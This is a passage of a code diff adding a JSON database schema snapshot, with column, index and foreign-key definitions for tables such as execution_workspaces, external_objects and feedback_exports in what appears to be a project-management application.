+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
